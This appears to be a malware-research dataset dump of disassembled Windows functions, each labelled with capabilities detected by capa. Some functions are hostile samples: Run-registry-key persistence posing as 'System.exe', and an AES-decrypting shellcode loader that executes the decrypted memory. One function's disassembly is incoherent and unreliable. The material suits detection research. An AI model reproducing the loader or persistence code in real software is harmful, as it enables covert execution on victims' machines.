joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45dda0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4027af
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00408e40
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045bc80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402780
cmp byte [0x005a8df0], 0
je 0x45ddb5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45ad80
jmp 0x402780

Function at 0x45ddc0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005a90a0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005a8df0], 0
je 0x45ddf5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005a93c0]
aesenc xmm0, xmmword [0x005a93d0]
aesenc xmm0, xmmword [0x005a93e0]
movq rax, xmm0
ret
jmp 0x409040

Function at 0x45de00
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005a90a0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005a8df0], 0
je 0x45de36
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005a93c0]
aesenc xmm0, xmmword [0x005a93d0]
aesenc xmm0, xmmword [0x005a93e0]
movq rax, xmm0
ret
jmp 0x4090a0

Function at 0x45f7a0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005a9340]
mov qword [rsp + 8], rdx
lea r8d, [0x005a8e08]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.0045dce0
add rsp, 0x30
ret
Function at 0x10007510
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x10015150], rbx
je 0x10007566
cmp rax, rbx
jne 0x10007559
mov edi, 1
jmp 0x10007566
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007540
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x1000757b
lea ecx, [rax + 0x1e]
call sub.MSVCR80.dll__amsg_exit
jmp 0x100075ba
mov eax, dword [0x10015148]
test eax, eax
jne 0x100075b0
mov dword [0x10015148], 1
lea rdx, [0x100014d0]
lea rcx, [0x100014b8]
call sub.MSVCR80.dll__initterm_e
test eax, eax
je 0x100075ba
mov eax, 0xff
jmp 0x10007714
mov dword [0x10014314], 1
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x100075e2
lea rdx, [0x100014b0]
lea rcx, [0x10001470]
call sub.MSVCR80.dll__initterm
mov dword [0x10015148], 2
test edi, edi
jne 0x100075ef
xor eax, eax
xchg qword [0x10015150], rax
cmp qword [0x10015168], 0
je 0x10007618
lea rcx, [0x10015168]
call fcn.10007b90
test eax, eax
je 0x10007618
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x10015168]
mov rax, qword [sym.imp.MSVCR80.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
nop
nop
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x100076aa
test cl, cl
je 0x10007640
test edi, edi
jne 0x100076aa
movzx eax, byte [rbx]
test al, al
je 0x10007656
cmp al, 0x20
ja 0x10007656
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007640
test byte [rsp + 0x6c], 1
je 0x10007665
movzx r9d, word [rsp + 0x70]
jmp 0x1000766b
mov r9d, 0xa
mov r8, rbx
xor edx, edx
lea rcx, [0x10000000]
call fcn.10005300
mov dword [0x10014310], eax
cmp dword [0x100142f4], 0
jne 0x10007693
mov ecx, eax
call qword [sym.imp.MSVCR80.dll_exit]
cmp dword [0x10014314], 0
jne 0x100076a8
call qword [sym.imp.MSVCR80.dll__cexit]
mov eax, dword [0x10014310]
jmp 0x1000770d
cmp cl, 0x22
jne 0x100076bc
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.MSVCR80.dll__ismbblead]
test eax, eax
je 0x100076d2
add rbx, 1
mov qword [rsp + 0x28], rbx
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007630
jmp 0x10007714
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.1012e000
add rsp, 0x28
jmp 0x10007510
Function at 0x140046eb0
Capabilities:
Encode data using xor

Disassembly:
cld
push rdi
cdq
sub rsp, 0xc0
mov rax, qword [0x140129050]
xor rax, rsp
mov qword [rsp + 0xb8], rax
movabs rax, qword [0x4800a50064402444]
mov ah, 0x44
and al, 0x48
sub dword [rax], eax
or bh, byte [rbp + 0x244c8d48]
call 0x13f636d00
test cl, dl
je 0x140046fff
xorps xmm6, xmmword [rdx + 0x2444290f]
push rax
movsx eax, byte [rsp + 0x70]
js 0x140046f28
test byte [rdx + rbp*8], ah
add byte [rax], al
add byte [rdi], cl
xchg esi, eax
test byte [rsi + rax*8], ah
add byte [rax], al
add byte [rax], dh
mov ebx, 0x909d
add byte [rdi], cl
invalid
push rax
mov dword [rsp + 0x58], 3
mov ecx, dword [rbx + 0xe5ef405]
adc ecx, dword [rax - 0x77]
and al, 0x78
movabs rax, 0xff00000100001405
mov qword [rsp + 0xd157], rax
mov dword [rbp + 0x8824], 0x300
add byte [rax - 0x2b], cl
add eax, 0x3a5e97
rol qword [rsp + 0x7d0000a8], cl
in al, 0xc1
test byte es:[rbp + rcx*4 + 0x4c], cl
and al, 0x48
jae 0x140046f77
add byte [rax], al
add byte [rbp + 0x31], al
sar bh, 0x7e
outsd dx, dword [rsi]
pop rsi
invalid
js 0x140047076
and al, 0x40
jmp 0x14004703d
lea rcx, str.Could_not_restrict_process_ACL:__s
mov rdx, rsi
call fcn.140006000
int3
add rsi, 1
movzx ebx, ah
cmp al, 9
fdivr qword [rcx + rcx]
je 0x140047070
cmp al, 0x20
je 0x140047070
test al, al
jne 0x1400470b2
test qword [r11 - 0x38be328c], r13
pop r12
add byte [rax], al
add byte [rax], al
sub r12, r12
je 0x140047081
mov qword [r12], 0x25000000
test r10, r13
je 0x140347323
test byte [rbp + 2], bh
xor byte [rax], al
mov qword [r14], 0
or esi, dword [rcx + 2]
add byte [rax], al
and edx, dword [rbx]
int1
call 0x140b8e950
lea rcx, [rax + 0x57]
xor r15d, r15d
cli
add dword [rax], eax
add byte [rax], al
in al, dx
xor eax, eax
call fcn.140042eb0
mov rdi, rax
mov qword [rbx - 0x18], rdx
ja 0x1400470a1
or byte [rax], al
cld
or byte [rax], al
add byte [rax], al
invalid
Function at 0x1400290fc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c6f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c6f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002924c
cmp rax, 0xffffffffffffffff
je 0x14002924c
xor edi, edi
test rbp, rbp
jle 0x1400291f7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f008
mov rbx, rax
test rax, rax
jne 0x140029184
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400291ed
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a028
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d3d0
cmp eax, 0xffffffff
je 0x1400291cd
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029194
mov edx, r15d
mov ecx, r14d
call fcn.14001a028
jmp 0x1400291ed
cmp byte [rsi + 0x38], dil
je 0x1400291e4
cmp dword [rsi + 0x34], 5
jne 0x1400291e4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400291ed
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001adbc
jmp 0x140029260
jns 0x140029260
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c6f4
cmp rax, 0xffffffffffffffff
jne 0x140029218
cmp byte [rsi + 0x30], dil
je 0x140029260
mov edi, dword [rsi + 0x2c]
jmp 0x140029260
mov ecx, r14d
call fcn.1400184e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029260
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029260
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029259
mov eax, dword [rsi + 0x2c]
jmp 0x14002925e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c6f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001b3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140002078]
test rax, rax
je 0x140001b86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b86
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b88
xor al, al
add rsp, 0x28
ret
Function at 0x140005a30
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140005b3a
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140005b2f
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140005b24
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140005b19
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140005b19
mov r9, qword [rsp + 0x28]
lea r8, str._scmd.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.140023d1c
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140005b19
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x140005b3c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret

Function at 0x14000ab30
Capabilities:
Persist via run registry key

Disassembly:
sub rsp, 0x68
lea rdx, [rsp + 0x30]
lea rcx, [0x14005d480]
call fcn.14000ae40
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14000ac8f
mov edx, 0xfffe
mov ecx, 0x40
call qword [0x140063768]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14000ac84
lea rax, str.D58B4766_6F0C_44F8_9B61_44A83E2CEA08
mov qword [rsp + 0x28], rax
lea rax, str.System.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x38]
lea r8, str._s_s__s
mov edx, 0x7fff
mov rcx, qword [rsp + 0x40]
call qword [0x140063e90]
mov dword [rsp + 0x50], eax
cmp dword [0x14005f130], 1
jne 0x14000ac14
lea r8, [rsp + 0x48]
lea rdx, [0x1400345d0]
mov rcx, 0xffffffff80000001
call qword [0x140063cf8]
test eax, eax
jne 0x14000ac14
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14005f2b4]
mov rcx, qword [rsp + 0x48]
call qword [0x140063cf0]
mov rcx, qword [rsp + 0x48]
call qword [0x140063d00]
cmp dword [0x14005f12c], 1
jne 0x14000ac79
lea r8, [rsp + 0x48]
lea rdx, [0x140034630]
mov rcx, 0xffffffff80000002
call qword [0x140063cf8]
test eax, eax
jne 0x14000ac79
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Server
mov rcx, qword [rsp + 0x48]
call qword [0x140063cf0]
mov rcx, qword [rsp + 0x48]
call qword [0x140063d00]
mov rcx, qword [rsp + 0x40]
call qword [0x140063780]
mov rcx, qword [rsp + 0x38]
call qword [0x140063780]
mov eax, 1
add rsp, 0x68
ret
Function at 0x14000aca0
Capabilities:
Persist via run registry key

Disassembly:
sub rsp, 0x38
cmp dword [0x14005f130], 1
jne 0x14000ace7
lea r8, [rsp + 0x20]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [0x140063cf8]
test eax, eax
jne 0x14000ace7
lea rdx, [0x14005f2b4]
mov rcx, qword [rsp + 0x20]
call qword [0x140063d48]
mov rcx, qword [rsp + 0x20]
call qword [0x140063d00]
cmp dword [0x14005f12c], 1
jne 0x14000ad2a
lea r8, [rsp + 0x20]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [0x140063cf8]
test eax, eax
jne 0x14000ad2a
lea rdx, str.Server
mov rcx, qword [rsp + 0x20]
call qword [0x140063d48]
mov rcx, qword [rsp + 0x20]
call qword [0x140063d00]
mov eax, 1
add rsp, 0x38
ret
Function at 0x14001dc00
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x3f0
lea rcx, str.UNLOAD.TXT
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x14001dc90
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [0x140063788]
mov qword [0x1400634e0], rax
cmp qword [0x1400634e0], 0
je 0x14001dc90
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005660]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400634e8], rax
cmp qword [0x1400634e8], 0
je 0x14001dc78
jmp 0x14001dc90
mov rcx, qword [0x1400634e0]
call qword [0x140063780]
mov qword [0x1400634e0], 0
cmp dword [0x14005f140], 1
jne 0x14001dd7c
call fcn.1400197b0
cmp eax, 1
jne 0x14001dd7c
mov qword [rsp + 0x1d8], 0
mov dword [rsp + 0x1d0], 0
lea rdx, [rsp + 0x1d0]
lea rcx, [0x14005d480]
call fcn.14000ae40
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0
je 0x14001dd7c
xor eax, eax
mov word [rsp + 0x1e0], ax
lea rax, [rsp + 0x1e2]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rax, str.System.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1d8]
lea r8, str.__s_s_
mov edx, 0x104
lea rcx, [rsp + 0x1e0]
call fcn.140023d1c
mov eax, dword [0x14005f1e4]
mov dword [rsp + 0x28], eax
mov eax, dword [0x14005f1e0]
mov dword [rsp + 0x20], eax
lea r9, [0x14005f192]
lea r8, [0x14005f144]
lea rdx, str.D58B4766_6F0C_44F8_9B61_44A83E2CEA08
lea rcx, [rsp + 0x1e0]
call fcn.140002e90
mov rcx, qword [rsp + 0x1d8]
call qword [0x140063780]
cmp dword [0x14005f134], 0
jne 0x14001dd8a
call fcn.14000ab30
cmp dword [0x14005f138], 1
jne 0x14001dd98
call fcn.14000a7b0
cmp dword [0x14005f134], 1
jne 0x14001dda6
call fcn.140014b60
mov ecx, 0x15
call fcn.140010fc0
cmp dword [0x14005da70], 1
jne 0x14001de22
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x1400634f8], rax
cmp qword [0x1400634f8], 0
je 0x14001de22
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400095d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140063500], rax
cmp qword [0x140063500], 0
je 0x14001de15
jmp 0x14001de22
mov rcx, qword [0x1400634f8]
call qword [0x140063758]
lea rdx, [rsp + 0x30]
mov cx, 2
call qword [0x140064020]
test eax, eax
jne 0x14001dead
cmp dword [0x14005d33c], 1
jne 0x14001de6a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140018cb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400643f0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140021700]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400648e0], rax
cmp qword [0x1400648e0], 0
je 0x14001dea7
mov eax, 1
jmp 0x14001deb2
call qword [0x140064028]
mov eax, 1
add rsp, 0x3f0
pop rdi
ret
Function at 0x251121370
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, [rbp - 8]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x2511213d8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptAcquireContextW___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x251121553
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x25112142a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptCreateHash___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x251121553
mov rax, qword [rbp - 0x10]
mov ecx, dword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x251121472
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptHashData___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x251121553
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x2511214c5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptDeriveKey___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x251121553
mov rax, qword [rbp - 0x18]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x25112151d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptDecrypt___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x251121553
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x251121573
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x310c0
call fcn.2511224f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.Hugh_Security
lea rax, str.Welcome_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
movabs rax, 0xb528c718660abeca
movabs rdx, 0xe9fb33dbd78db689
mov qword [rbp + 0x31010], rax
mov qword [rbp + 0x31018], rdx
lea rax, [rbp - 0x40]
lea rdx, [0x251129148]
mov ecx, 0x31050
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x3103c], 0x31050
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x31050
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x31030], rax
cmp qword [rbp + 0x31030], 0
jne 0x251121649
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x251121780
lea rcx, [rbp + 0x31010]
mov edx, dword [rbp + 0x3103c]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x31030]
mov r8d, 0x31050
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x31030]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x31050
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x2511216d6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x251121780
mov rax, qword [rbp + 0x31030]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x31028], rax
cmp qword [rbp + 0x31028], 0
jne 0x25112173c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x251121780
mov rax, qword [rbp + 0x31030]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x31028]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
call sym.getchar
mov rax, qword [rbp + 0x31030]
call rax
mov eax, 0
add rsp, 0x310c0
pop rbp
ret

Function at 0x251121930
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]